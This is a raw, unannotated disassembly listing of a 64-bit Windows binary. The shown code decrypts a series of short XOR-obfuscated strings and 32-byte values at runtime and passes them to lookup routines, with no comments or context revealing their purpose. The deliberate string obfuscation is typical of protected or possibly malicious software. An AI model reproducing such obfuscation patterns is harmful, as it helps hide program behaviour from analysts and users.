mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r15
call qword [0x14033d4d0]
cmp qword [rsp + 0x360], 0
je 0x140043e88
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [rbx - 0x18]
add rbx, 0x18
add rax, 0x18
cmp rax, r12
jne 0x140043d35
mov rbx, r12
lea rsi, [rsp + 0xd0]
lea rcx, [rsp + 0x40]
mov qword [rcx + 8], rbx
call fcn.140020f82
mov al, byte [0x1404846a0]
mov edx, 0x48
xor ecx, ecx
call fcn.1401b6fc0
test rax, rax
je 0x14004975a
mov r15, rax
lea rax, [0x140336ca7]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xfc125b2dce76a5a1
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.1400320c8
movabs rbx, 0x4843120f65daf220
xor rbx, qword [rax]
mov ebp, 0x6a5e06ce
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.1401e779c
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x14033c1bc]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x2f8b1ea2b14e68cb
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rdx, qword [rsp + 0xd0]
call fcn.140032718
mov r14d, dword [rax]
movzx ecx, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0xf8c
xor cl, 0x3e
movzx r13d, cl
mov rax, r13
shl rax, 0x30
shl rbx, 0x20
or rbx, rax
xor r14d, 0x274a1c6f
mov ecx, 7
call fcn.1401e779c
mov qword [rsp + 0x38], rax
mov r12, rdx
mov byte [rdx + 6], r13b
mov dword [rdx], r14d
shr rbx, 0x20
mov word [rdx + 4], bx
lea rax, [0x140339684]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x8a974b4eb5e9eb14
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rdx, qword [rsp + 0xd0]
call fcn.1400328e7
movabs rbx, 0xbc89e8ab5ee5e0b2
xor rbx, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx r14d, word [rax + 8]
xor r14d, 0xc4c5
xor bpl, 5
mov ecx, 0xb
call fcn.1401e779c
mov qword [rdx], rbx
mov word [rdx + 8], r14w
mov byte [rdx + 0xa], bpl
mov qword [r15], rsi
lea rsi, [rsp + 0xd0]
mov qword [r15 + 8], rdi
mov qword [r15 + 0x10], 0xc
mov rcx, qword [rsp + 0x38]
mov qword [r15 + 0x18], rcx
mov qword [r15 + 0x20], r12
mov qword [r15 + 0x28], 7
mov qword [r15 + 0x30], rax
mov qword [r15 + 0x38], rdx
mov qword [r15 + 0x40], 0xb
lea rax, [r15 + 0x48]
mov qword [rsp + 0x390], r15
mov qword [rsp + 0x3a0], 3
mov qword [rsp + 0x3a8], rax
xor edx, edx
lea r12, [rsp + 0x40]
lea rdi, [0x140030f70]
mov qword [rsp + 0xc8], r15
lea rax, [rdx + rdx*2]
lea rcx, [r15 + rax*8]
add rcx, 0x18
mov qword [rsp + 0x398], rcx
mov r8, qword [r15 + rax*8]
movabs rcx, 0x8000000000000000
cmp r8, rcx
je 0x140044374
mov qword [rsp + 0x1c0], r8
mov qword [rsp + 0x30], rdx
lea rcx, [r15 + rax*8]
mov rax, qword [rcx + 8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x2a0]
test rax, rax
je 0x14004433b
mov rbp, qword [rcx + 0x10]
mov r15, qword [rsp + 0x298]
shl rax, 3
lea rbx, [rax + rax*2]
mov qword [rsp + 0x400], r15
mov rcx, rsi
mov rdx, qword [rsp + 0x38]
mov r8, rbp
call fcn.1400629e0
mov rsi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, r12
mov rdx, rsi
call fcn.1401a27e0
cmp qword [rsp + 0xd0], 0
je 0x140044172
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x40], rax
jne 0x140049560
lea rcx, [rsp + 0x48]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x370], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x360], xmm0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x330], rax
lea rax, [rsp + 0x360]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rdi
lea rax, [rsp + 0x438]
mov qword [rsp + 0xe0], rax
lea rax, [0x140065eb5]
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x330]
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x400]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
lea rax, [0x140343128]
mov qword [rsp + 0x40], rax
mov eax, 4
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], 0
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x268]
mov rdx, r12
call fcn.140061c40
cmp qword [rsp + 0x360], 0
je 0x14004428f
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r13, qword [rsp + 0x268]
mov r12, qword [rsp + 0x270]
mov r14, qword [rsp + 0x278]
mov rcx, rsi
mov rdx, r12
mov r8, r14
call fcn.1401a6630
cmp dword [rsp + 0xd0], 2
jne 0x1400442d7
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140044300
mov ecx, 9
lea rdi, [rsp + 0x40]
lea rsi, [rsp + 0xd0]
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0xd0]
cmp qword [rsp + 0x40], 2
jne 0x14004438f
lea rcx, [rsp + 0x48]
call fcn.1401c3218
test r13, r13
je 0x140044321
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r12
call qword [0x14033d4d0]
add r15, 0x18
add rbx, 0xffffffffffffffe8
lea rdi, [0x140030f70]
lea r12, [rsp + 0x40]
jne 0x140044122
cmp qword [rsp + 0x1c0], 0
je 0x14004435a
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [0x14033d4d0]
mov rdx, qword [rsp + 0x30]
inc rdx
cmp rdx, 3
mov r15, qword [rsp + 0xc8]
jne 0x1400440b8
lea rcx, [rsp + 0x390]
call fcn.140020f82
mov bl, 0x13
xor edi, edi
mov rbp, qword [rsp + 0x1d0]
jmp 0x1400443f7
lea rcx, [rsp + 0x1e8]
mov rdx, r12
mov r8, r14
call fcn.1401a9bc0
test r13, r13
je 0x1400443b9
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r12
call qword [0x14033d4d0]
cmp qword [rsp + 0x1c0], 0
mov rbp, qword [rsp + 0x1d0]
je 0x1400443e0
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [0x14033d4d0]
lea rcx, [rsp + 0x390]
call fcn.140020f82
mov bl, 0x1a
mov dil, 1
lea r12, [rsp + 0x40]
mov rsi, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x2a0]
mov rcx, rsi
call fcn.14006da82
cmp qword [rsp + 0x290], 0
je 0x14004442c
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
test dil, dil
je 0x1400444cd
mov rdi, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
mov r14, qword [rsp + 0x1e8]
lea r8, [rsp + 0xd0]
mov dword [r8], 0
pxor xmm0, xmm0
movdqu xmmword [r8 + 8], xmm0
mov dword [r8 + 0x18], 7
mov qword [r8 + 0x1c], 0
mov word [r8 + 0x24], 0
mov byte [r8 + 0x20], 1
mov rcx, rdi
call fcn.1401a3990
mov rbx, rax
mov rsi, rdx
test r14, r14
je 0x1400444a7
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
test rbx, rbx
je 0x140044612
lea rcx, [rsp + 0xd0]
mov qword [rcx], rsi
call fcn.1401c3218
mov byte [rsp + 0x2b0], 0x17
jmp 0x140048126
mov eax, dword [rsp + 0x1e1]
mov ecx, dword [rsp + 0x1e4]
mov dword [rsp + 0x2b4], ecx
mov dword [rsp + 0x2b1], eax
movdqu xmm0, xmmword [rsp + 0x1e8]
movups xmm1, xmmword [rsp + 0x1f8]
movups xmm2, xmmword [rsp + 0x208]
movups xmmword [rsp + 0x2d8], xmm2
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x2e8], rax
movdqu xmmword [rsp + 0x2b8], xmm0
movups xmmword [rsp + 0x2c8], xmm1
mov byte [rsp + 0x2b0], bl
cmp bl, 0x1a
jne 0x140048126
mov rdi, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2c0]
mov rcx, rbx
call fcn.1401e779c
mov r14, rax
mov rsi, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call fcn.140330ef0
lea rdx, [0x1403ab2c8]
lea rcx, [rsp + 0x40]
mov r8, rsi
mov r9, rbx
call fcn.1401917c5
test r14, r14
je 0x140044595
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rbx, qword [rsp + 0x40]
movabs rax, 0x8000000000000000
cmp rbx, rax
jne 0x140044685
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e3]
mov rdx, qword [rsp + 0x320]
mov dword [rdx + 4], ecx
mov dword [rdx + 1], eax
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov byte [rdx], 0x19
movdqa xmm0, xmmword [0x14033e280]
movdqu xmmword [rdx + 8], xmm0
movabs rax, 0x1919191919191919
mov qword [rdx + 0x18], rax
jmp 0x140049412
test r14, r14
jne 0x1400415a5
jmp 0x1400415b7
mov ecx, 0x2000
xor edx, edx
call fcn.140191774
lea rax, [rsp + 0x40]
mov qword [rax], rdx
mov qword [rax + 8], 0x2000
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
mov qword [rax + 0x20], 0
mov qword [rax + 0x28], rsi
lea r8, [rbp + 0x30]
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rax
call fcn.1401914ae
cmp qword [rsi], 0
je 0x1400479e6
lea rcx, [rsp + 0xd0]
mov rax, qword [rcx + 8]
mov qword [rcx], rax
call fcn.1401c3218
mov byte [rsp + 0x2b0], 0x17
jmp 0x14004811c
mov r8, qword [rsp + 0x50]
cmp r8, 4
jbe 0x14004986e
mov rdi, qword [rsp + 0x48]
add r8, 0xfffffffffffffffb
lea rdx, [rdi + 5]
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.14003f3a7
mov al, byte [rsi]
cmp al, 0x1a
jne 0x140047a94
mov qword [rsp + 0x350], rbx
mov qword [rsp + 0x1b8], rdi
mov rax, qword [rsp + 0xe8]
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x450], xmm0
mov qword [rsp + 0x460], rax
mov eax, dword [0x140484ae0]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xb8], 0
jne 0x14004470c
call fcn.1400a0e33
mov eax, dword [0x140484ae0]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xc0]
mov rdx, qword [rax + 0xc8]
lea r8, [rcx + 1]
mov qword [rax + 0xc0], r8
movups xmm0, xmmword [0x1403bab70]
movaps xmmword [rsp + 0x360], xmm0
movdqu xmm0, xmmword [0x1403bab80]
movdqa xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], rcx
mov qword [rsp + 0x388], rdx
lea rax, [0x14033e500]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xe5071108959bd5d2
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.14003252c
movabs rdi, 0x870077115088f614
xor rdi, qword [rax]
mov ebx, 0xb5a06fe0
xor ebx, dword [rax + 8]
mov bpl, byte [rax + 0xc]
xor bpl, 0xe
mov ecx, 0xd
call fcn.1401e779c
mov qword [rdx], rdi
mov dword [rdx + 8], ebx
mov byte [rdx + 0xc], bpl
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0xd
lea rax, [0x140335bc0]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x192065f678f2b23
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.1400326f3
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x1403435c8]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xd8], r8
add rcx, 8
cmp rcx, 0x18
jb 0x14004483c
lea rsi, [rsp + 0xd0]
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
mov ecx, 0x20
call fcn.1401e779c
movups xmmword [rdx + 0x10], xmm7
movups xmmword [rdx], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x360]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov r9, rsi
call fcn.1400190da
mov rax, qword [rdi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400448d5
test rax, rax
je 0x1400448d5
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [0x1403386f2]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xcf60ac116ba3e1bf
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.14003259c
movabs rdi, 0x8301056b5be3f693
xor rdi, qword [rax]
mov ebx, 0xd62aa31d
xor ebx, dword [rax + 8]
mov bpl, byte [rax + 0xc]
xor bpl, 0x19
mov ecx, 0xd
call fcn.1401e779c
mov qword [rdx], rdi
mov dword [rdx + 8], ebx
mov byte [rdx + 0xc], bpl
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0xd
lea rax, [0x14033c86b]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xca33ab15fc30475d
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.14003245f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x1403435e8]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xd8], r8
add rcx, 8
cmp rcx, 0x18
jb 0x1400449a9
lea rsi, [rsp + 0xd0]
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
mov ecx, 0x20
call fcn.1401e779c
movups xmmword [rdx + 0x10], xmm7
movups xmmword [rdx], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x360]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov r9, rsi
call fcn.1400190da
mov rax, qword [rdi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140044a42
test rax, rax
je 0x140044a42
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [0x14033f7a6]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xf241a5fe79077d66
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032437
movabs rdi, 0x337a2c4ee65ce0aa
xor rdi, qword [rax]
mov ebx, 0xa88931d7
xor ebx, dword [rax + 8]
movzx ebp, word [rax + 0xc]
xor ebp, 0x474e
mov ecx, 0xe
call fcn.1401e779c
mov qword [rdx], rdi
mov dword [rdx + 8], ebx
mov word [rdx + 0xc], bp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0xe
lea rax, [0x140343fd7]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xba7edfa129cb8a2e
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140031fca
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x140343608]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xd8], r8
add rcx, 8
cmp rcx, 0x18
jb 0x140044b18
lea rsi, [rsp + 0xd0]
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
mov ecx, 0x20
call fcn.1401e779c
movups xmmword [rdx + 0x10], xmm7
movups xmmword [rdx], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x360]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov r9, rsi
call fcn.1400190da
mov rax, qword [rdi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140044bb1
test rax, rax
je 0x140044bb1
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [0x14033820a]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x2c105c45a9a2249b
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032559
movabs rdi, 0xd48b1e55db0bc58
xor rdi, qword [rax]
mov ebx, 0x75f797bf
xor ebx, dword [rax + 8]
movzx ebp, byte [rax + 0xe]
movzx r14d, word [rax + 0xc]
xor r14d, 0xb3df
xor bpl, 6
mov ecx, 0xf
call fcn.1401e779c
mov qword [rdx], rdi
mov dword [rdx + 8], ebx
mov word [rdx + 0xc], r14w
mov byte [rdx + 0xe], bpl
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0xf
lea rax, [0x14033b098]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x3e933091d3a90e06
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.14003218a
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x140343628]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xd8], r8
add rcx, 8
cmp rcx, 0x18
jb 0x140044c96
lea rsi, [rsp + 0xd0]
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
mov ecx, 0x20
call fcn.1401e779c
movups xmmword [rdx + 0x10], xmm7
movups xmmword [rdx], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x360]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov r9, rsi
call fcn.1400190da
mov rax, qword [rdi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140044d2f
test rax, rax
je 0x140044d2f
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [0x14033a8d6]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xdb9c5af61cb3a8d8
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032640
mov ecx, dword [rax]
mov bl, byte [rax + 4]
xor bl, 0x92
mov edi, 0xae0e47af
xor rdi, rcx
mov ecx, 5
call fcn.1401e779c
mov byte [rdx + 4], bl
mov dword [rdx], edi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 5
lea rax, [0x14033d993]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x81f57f8dac886c50
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032019
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x140343648]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xd8], r8
add rcx, 8
cmp rcx, 0x18
jb 0x140044df1
lea rsi, [rsp + 0xd0]
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
mov ecx, 0x20
call fcn.1401e779c
movups xmmword [rdx + 0x10], xmm7
movups xmmword [rdx], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea r14, [rsp + 0x1e0]
lea rdx, [rsp + 0x360]
lea r12, [rsp + 0x40]
mov rcx, r14
mov r8, r12
mov r9, rsi
call fcn.1400190da
mov rax, qword [r14]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140044e8d
test rax, rax
je 0x140044e8d
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov dword [rsp + 0x424], 0
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.140066042
mov rax, qword [rsi]
mov r15, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
lea rdx, [rcx + rcx*2]
lea r13, [r15 + rdx*8]
mov qword [rsp + 0x390], r15
mov qword [rsp + 0x398], r15
mov qword [rsp + 0x3a0], rax
mov qword [rsp + 0x3a8], r13
test rcx, rcx
je 0x140045637
lea rbp, [rsp + 0x298]
xorps xmm6, xmm6
mov qword [rsp + 0x1b0], r13
mov rcx, r15
add r15, 0x18
mov qword [rsp + 0x398], r15
mov rax, qword [rcx]
movups xmm0, xmmword [rcx + 8]
movaps xmmword [rsp + 0x400], xmm0
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140045637
mov qword [rsp + 0x290], rax
movdqa xmm0, xmmword [rsp + 0x400]
movdqu xmmword [rbp], xmm0
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
mov rcx, rsi
call fcn.1401a6630
cmp dword [rsp + 0xd0], 2
jne 0x140044f78
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140044f91
mov ecx, 9
mov rdi, r12
mov rbx, rsi
rep movsq qword [rdi], qword [rsi]
mov rsi, rbx
cmp qword [rsp + 0x40], 2
jne 0x140044fa0
lea rcx, [rsp + 0x48]
call fcn.1401c3218
jmp 0x14004560c
mov qword [rsp + 0xc8], r15
mov rcx, qword [rsp + 0x378]
test rcx, rcx
je 0x1400455ed
mov r15, qword [rsp + 0x360]
lea r13, [r15 + 0x10]
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
not eax
mov qword [rsp + 0x1c0], rcx
test ax, ax
jne 0x140044ffb
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
add r15, 0xfffffffffffffd00
add r13, 0x10
cmp eax, 0xffff
je 0x140044fdd
not eax
mov qword [rsp + 0x30], rax
bsf eax, eax
neg rax
lea rax, [rax + rax*2]
shl rax, 4
lea rcx, [r15 + rax]
add rcx, 0xffffffffffffffe8
lea rax, [r15 + rax - 0x30]
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x480], rcx
lea rax, [rsp + 0x290]
mov qword [rsp + 0x40], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x50], rax
lea rax, [0x140065eb5]
mov qword [rsp + 0x58], rax
lea rax, [0x1403438f0]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 3
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], 2
mov rbp, r14
mov rcx, r14
mov rdx, rsi
call fcn.140061c40
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0x1e8]
mov rdi, r12
mov r12, qword [rsp + 0x1f0]
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.1401a6630
cmp dword [rsp + 0xd0], 2
jne 0x1400450f6
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x14004510c
mov ecx, 9
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov rsi, rbx
cmp qword [rsp + 0x40], 2
jne 0x14004513e
lea rcx, [rsp + 0x48]
call fcn.1401c3218
cmp qword [rsp + 0x38], 0
lea r12, [rsp + 0x40]
je 0x1400455cf
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r14
call qword [0x14033d4d0]
jmp 0x1400455cf
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rdi, rbp
mov rcx, rbp
call fcn.1400629e0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0xd0], rbp
lea rax, [0x140030f70]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x268]
mov qword [rsp + 0xe0], rax
lea rcx, [0x140065eb5]
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
lea rax, [rsp + 0x470]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
lea rax, [rsp + 0x424]
mov qword [rsp + 0x110], rax
lea rax, [fcn.14009fca0]
mov qword [rsp + 0x118], rax
lea rax, [0x140343930]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 6
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 5
lea rcx, [rsp + 0x490]
lea rdx, [rsp + 0x40]
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x14004525e
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov rsi, qword [rsp + 0x498]
mov rdx, qword [rsp + 0x4a0]
mov rcx, rsi
call fcn.1401a5c10
mov rdi, rax
cmp qword [rsp + 0x490], 0
je 0x140045296
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov qword [rsp + 0xd0], rdi
test rdi, rdi
mov rsi, rbx
je 0x1400452ae
mov rcx, rsi
call fcn.1401c3218
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], r12
lea r12, [rsp + 0x40]
mov rcx, r12
mov rdx, rsi
call fcn.140033590
lea rax, [rsp + 0x48]
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmm2, xmmword [rax + 0x38]
lea rax, [rsp + 0xf0]
movups xmmword [rax + 0x78], xmm2
movups xmmword [rax + 0x68], xmm1
movups xmmword [rax + 0x58], xmm0
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + 0x48], xmm1
movdqu xmmword [rax + 0x38], xmm0
movups xmmword [rax], xmm6
movups xmmword [rax + 0x18], xmm6
movups xmmword [rax + 0x88], xmm6
movaps xmmword [rsp + 0xd0], xmm6
xor eax, eax
mov qword [rsp + 0xe0], rax
mov ecx, 8
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
mov r14, rbp
mov rcx, r12
mov rdx, rsi
call fcn.1401e19f6
mov rax, qword [rsp + 0x40]
cmp rax, 3
je 0x1400455c7
cmp eax, 2
je 0x14004959c
mov r12, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x98]
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x268]
call fcn.1400629e0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x428], rax
mov rcx, rsi
mov rdx, rdi
call fcn.1401a9820
test rax, rax
je 0x1400495d3
mov r8, rdx
mov rcx, r14
mov rdx, rax
call fcn.140096fa0
cmp qword [rsp + 0x1e0], 0
jne 0x1400495df
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
